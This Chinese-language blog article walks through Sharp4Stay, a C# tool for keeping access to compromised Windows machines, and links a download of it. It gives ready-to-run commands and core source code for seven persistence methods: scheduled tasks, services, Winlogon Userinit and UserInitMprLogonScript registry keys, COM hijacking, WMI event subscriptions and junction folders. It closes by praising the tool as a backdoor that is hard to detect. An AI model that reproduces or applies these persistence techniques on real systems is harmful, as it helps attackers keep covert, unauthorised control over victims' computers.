剖析Sharp4Stay多种维持权限的方法

0x01 基本介绍

Sharp4Stay 是一款基于CSharp语言打造常用于渗透阶段维持权限,工具提供了Windows系统下多种不同的方法,其中最有效的持久化方法便是本文将要介绍的7种方式。

0x02 ScheduledTask

计划任务是一种常见且可靠的维持访问权限的方法。Sharp4Stay 使用户能够轻松创建和管理这些任务。以下是使用 Sharp4Stay 创建系统计划任务的命令及用法。

Sharp4stay.exe action=ScheduledTask taskname=TestTask command="C:\windows\system32\calc.exe" runasuser=Ivan1ee triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=Ivan1ee

此命令创建一个名为“TestTask”的计划任务,执行位于 C:\windows\system32\ 目录下的 calc.exe。任务以用户Ivan1ee的身份运行,并在用户登录时触发。运行后如下图所示

这段功能主要依赖于CreateScheduledTask方法,由于代码过长不便于展开,因此截图展示。

图中的代码首先对传入的command参数做解析处理,将用户输入的命令解析成可执行文件路径和参数。Program.ParseCommand(command) 方法将命令字符串分割成路径和参数,具体代码片段如下所示。

List<string> list = Program.ParseCommand(command);
string arg = list[0];
string arguments = list[2];
string arg2 = list[1];
string path = string.Format("{0}\\{1}", arg, arg2);

接着使用 Activator.CreateInstance 方法,根据系统任务调度的 CLSID 创建一个 TaskScheduler 实例,这是与 Windows 任务计划程序交互的关键。

TaskScheduler taskScheduler = (TaskScheduler)Activator.CreateInstance(Type.GetTypeFromCLSID(new Guid("0F87369F-A4E5-4CFC-BD3E-73E6154572DD")));
try
{
    taskScheduler.Connect(Type.Missing, Type.Missing, Type.Missing, Type.Missing);
}

另外通过 taskScheduler.Connect 方法尝试连接系统任务调度器,如果连接失败,程序将输出错误信息并终止操作。接着通过taskScheduler.NewTask创建一个新的任务定义对象,并设置任务的作者和描述。taskDefinition.Settings.RunOnlyIfIdle 属性设置为 false,表示任务不会仅在系统空闲时运行。如下代码所示

ITaskDefinition taskDefinition = taskScheduler.NewTask(0U);
taskDefinition.RegistrationInfo.Author = author;
taskDefinition.RegistrationInfo.Description = description;
taskDefinition.Settings.RunOnlyIfIdle = false;

最后根据不同的触发器类型,创建并配置相应的触发器,例如用户登录、系统启动或特定时间等等。这里我们以用户登录为例

if (triggertype.ToLower() == "logon")
{
ILogonTrigger logonTrigger =    (ILogonTrigger)taskDefinition.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRI  GGER_LOGON);
logonTrigger.UserId = logonuser;
logonTrigger.Id = "LogonTrigger";
}
ITaskFolder folder = taskScheduler.GetFolder("\\");
try
{
    folder.RegisterTaskDefinition(taskName, taskDefinition, 6, runasuser, null, _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, "");
    Console.WriteLine("[+] Scheduled Task {0} has been created with a {1} trigger type to exec {2}", taskName, triggertype, command);
}

最后通过RegisterTaskDefinition方法在系统任务调度队列中注册该自定义的计划任务。

0x03 CreateService

在 Sharp4Stay 中,创建 Windows 服务的方法主要依赖.NET调用Windows系统几个常用的API函数 ,先不展开说,工具基础命令如下所示

Sharp4stay.exe action=CreateService servicename=TestService command="C:\Windows\System32\calc.exe"

该命令创建一个名为 TestService 的 Windows 服务,该服务将在启动时运行指定的命令 C:\Windows\System32\calc.exe,运行后如下图所示

在.NET平台调用OpenSCManager函数的代码如下

[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);

IntPtr intPtr = Program.OpenSCManager(null, null, 2U);
if (intPtr == IntPtr.Zero)
{
    throw new Exception("[-] Failed to obtain a handle to the service control manager database - MAKE SURE YOU ARE ADMIN");
}

OpenSCManager 函数用于打开服务控制管理器数据库,并返回一个句柄。如果打开失败,则抛出异常。接着工具依托Windows API函数CreateService 创建一个新的系统服务。

[DllImport("Advapi32.dll")]
public static extern IntPtr CreateService(IntPtr serviceControlManagerHandle, string lpSvcName, string lpDisplayName, Program.SERVICE_ACCESS dwDesiredAccess, uint dwServiceType, uint dwStartType, uint dwErrorControl, string lpPathName, string lpLoadOrderGroup, IntPtr lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword);

IntPtr intPtr2 = Program.CreateService(intPtr, serviceName, serviceName, Program.SERVICE_ACCESS.SERVICE_ALL_ACCESS, 16U, 2U, 1U, binpath, null, IntPtr.Zero, null, null, null);
if (intPtr2 == IntPtr.Zero)
{
    throw new Exception("[-] Failed to obtain a handle to service '" + serviceName + "'.");
}

这里的参数包括服务控制管理器的句柄、服务名、显示名、访问权限、服务类型、启动类型和执行路径等。创建服务后,通过 StartService 函数启动服务。在启动前,延迟一秒以确保服务已正确创建。

Thread.Sleep(1000); // 延迟一秒
Program.StartService(intPtr2, 0, null);

通过上述代码和详细分析,可以了解到.NET创建 Windows 系统服务均通过API函数实现的。

0x04 ElevatedUserInitKey

Sharp4stay支持对注册表中的UserInit键进行修改操作,这里主要介绍如何通过使用自定义命令行ElevatedUserInitKey来修改UserInit注册表项,具体命令如下所示。

Sharp4stay.exe action=ElevatedUserInitKey command="C:\Windows\System32\calc.exe"

通过传入特定参数command,可以将UserInit键的值设置为一个自定义的可执行文件路径,笔者在这里设置成系统的calc.exe路径,从而在用户登录时自动运行该文件。运行时如图

这段功能在实现上比较简单,核心代码如下所示。

try
{
                string text = "Userinit";
                string text2 = string.Format("C:\\windows\\system32\\userinit.exe,{0}", binpath);
                RegistryKey registryKey2 = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
                registryKey2.SetValue(text, text2);
                registryKey2.Close();
                Console.WriteLine("[+] Updated Elevated HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon key UserInit and set to {1}", text, text2);
}

通过使用Registry.LocalMachine.CreateSubKey方法创建或打开注册表路径Software\Microsoft\Windows NT\CurrentVersion\Winlogon,然后将指定的calc.exe追加到默认的路径 "C:\windows\system32\userinit.exe,"之后。最后调用registryKey2.SetValue方法,将UserInit键的值更新为指定的二进制文件。

0x05 UserInitMprLogonScriptKey

UserInitMprLogonScript注册表键的作用是在用户登录时执行指定的脚本或程序。这个键位于当前用户的Environment子项下,其功能类似于UserInit键,因为此键位于注册表HKEY_CURRENT_USER配置单元下,所以它只会影响当前登录的用户,而不会影响系统中的其他用户。命令及用法如下所示。

Sharp4stay.exe action=UserInitMprLogonScriptKey command="C:\Windows\System32\calc.exe"

代码实现上通过在当前用户配置项创建或者打开名为Environment的子项。如果该子项不存在,CreateSubKey方法会创建它。代码如下

RegistryKey registryKey2 = Registry.CurrentUser.CreateSubKey("Environment");

然后调用SetValue("UserInitMprLogonScript", binpath)方法,设置Environment子项中的UserInitMprLogonScript键值,此处的binpath便是要设置为UserInitMprLogonScript键的新值,通常是一个可执行文件的路径。在这里它被传递为函数参数,指定了用户登录时要运行的程序路径。

0x06 SchTaskCOMHijack

Sharp4Stay通过修改注册表中的CLSID实现COM劫持,达到对系统行为的自定义控制。具体可以通过以下命令进行COM劫持

Sharp4stay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\calc.dll"

此处的CLSID是一个全局唯一标识符,用于标识COM组件。在这里,CLSID "a47af52a-27f9-4426-bd2b-727050712db1" 代表一个与计划任务相关的COM组件,每当计划任务程序调用该COM组件时,自定义的DLL便会被加载执行。运行时如图所示

实现这一功能的核心代码如下

try
{
    string text2 = string.Format("Software\\Classes\\CLSID\\{0}\\InprocServer32", classid);
    RegistryKey registryKey2 = Registry.CurrentUser.CreateSubKey(text2);
    registryKey2.SetValue("", dllpath);
    registryKey2.Close();
    Console.WriteLine("[+] Created {0} and set (Default) key to {1}", text2, dllpath);
}

同样在Registry.CurrentUser当前用户配置项下创建或者打开子项,子项由CLSID的值指定,另外InprocServer32表示COM组件的DLL路径,此处指定加载自定义DLL路径为 C:\windows\temp\calc.dll。

0x07 WMIEventSub

Sharp4stay通过创建一个WMI事件订阅,在系统启动时或指定时间触发指定的二进制文件,因此这种技术可用于后渗透阶段的权限维持。具体用法如下所示

Sharp4stay.exe action=WMIEventSub command="C:\Windows\System32\calc.exe" eventname=Debugger attime=startup

命令中的command参数表示在事件触发时执行,这里是启动本地计算器,参数eventname表示事件订阅的名称,而另一个参数attime=startup代表在系统启动时触发事件订阅。首先需要创建一个WMI事件筛选器,默认是startup,筛选器被设置为在系统启动后的4到5分钟内触发,实现这一功能的核心代码如下所示。

if (attime.ToLower() == "startup")
{
    queryOrEventClassName = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325";
}

接着配置WMI事件筛选器,设置管理作用域为 \root\subscription,并设置筛选器的属性为__EventFilter

ManagementScope scope = new ManagementScope("\\\\.\\root\\subscription");
ManagementClass managementClass = new ManagementClass(scope, new ManagementPath("__EventFilter"), null);
WqlEventQuery wqlEventQuery = new WqlEventQuery(queryOrEventClassName);
ManagementObject managementObject = managementClass.CreateInstance();
managementObject["Name"] = eventName;
managementObject["Query"] = wqlEventQuery.QueryString;
managementObject["QueryLanguage"] = wqlEventQuery.QueryLanguage;
managementObject["EventNameSpace"] = "\\root\\cimv2";

然后创建WMI事件消费者,事件消费者定义了触发事件时要执行的动作。在这个命令中,消费者被设置为执行计算器程序calc.exe,事件消费者主要通过创建 CommandLineEventConsumer 类的实例并设置消费者的属性。实现代码如下所示。

ManagementObject managementObject2 = new ManagementClass(scope, new ManagementPath("CommandLineEventConsumer"), null).CreateInstance();
managementObject2["Name"] = eventName;
managementObject2["CommandLineTemplate"] = command;
managementObject2["RunInteractively"] = false;
try
{
    Console.WriteLine("[+] Setting '{0}' event consumer", eventName);
    managementObject2.Put();
}

最后,创建 "__FilterToConsumerBinding" 类的实例,用于绑定事件筛选器和消费者

ManagementObject managementObject3 = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();
managementObject3["Filter"] = managementObject.Path.RelativePath;
managementObject3["Consumer"] = managementObject2.Path.RelativePath;
try
{
    Console.WriteLine("[+] Binding '{0}' event filter and consumer", eventName);
    managementObject3.Put();
}

通过这些步骤,命令 Sharp4stay.exe action=WMIEventSub command="C:\Windows\System32\calc.exe" eventname=Debugger attime=startup 成功创建了一个 WMI 事件订阅,当系统启动后4到5分钟内会自动运行calc,以此作为维持权限的思路。

0x08 Junction Folders

Junction Folders可以简单理解为一个能够跳转到另一位置的文件夹,如果我们通过注册表创建一个CLSID键值并指向具体的自定义DLL路径,那么在打开该文件夹时便会自动加载该DLL。使用 Sharp4stay 工具内置的命令创建一个目录并将其与指定的 DLL 绑定,具体命令如下所示。

Sharp4stay.exe action=JunctionFolder dllpath="C:\windows\temp\calc.dll" guid={a47af52a-27f9-4426-bd2b-727050712db1}

以下是实现该命令功能的核心代码,首先,代码生成一个新的 GUID 并构建一个目标文件夹路径。具体代码如下所示

string text = "{" + Convert.ToString(Guid.NewGuid()).ToUpper() + "}";
string path2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") + "Indexing." + text;

构建文件夹路径,该路径位于 %APPDATA%\Microsoft\Windows\Start Menu\Programs\Accessories\ 目录下,然后在注册表中创建一个项,将生成的 GUID 与指定的 DLL 路径绑定。

string subkey = "Software\\Classes\\CLSID\\" + text + "\\InProcServer32";
RegistryKey registryKey2 = Registry.CurrentUser.CreateSubKey(subkey);
try
{
    registryKey2.SetValue("", dllpath);
    registryKey2.Close();
}

创建后的效果如图所示。

Sharp4Stay 提供了一套强大的持久化方法集合,通过七种最常用的方法确保对目标系统权限做持久化访问:ScheduledTask、CreateService、ElevatedUserInitKey、UserInitMprLogonScriptKey、SchTaskCOMHijack、WMIEventSub 和 Junction Folders。这些方法利用了 Windows 系统独有的设计,使攻击者能够灵活地隐藏和维持权限,确保即使目标系统经过重启或其他变动,仍能保持控制。Sharp4Stay 的多样化手段不仅增强了持久性,同时也提高了检测和防护的难度,为攻击者提供了强有力的后门维持方案。

工具链接: https://xzfile.aliyuncs.com/upload/affix/20240529163120-d3717f56-1d95-1.rar

0 条评论
某人
表情
可输入 255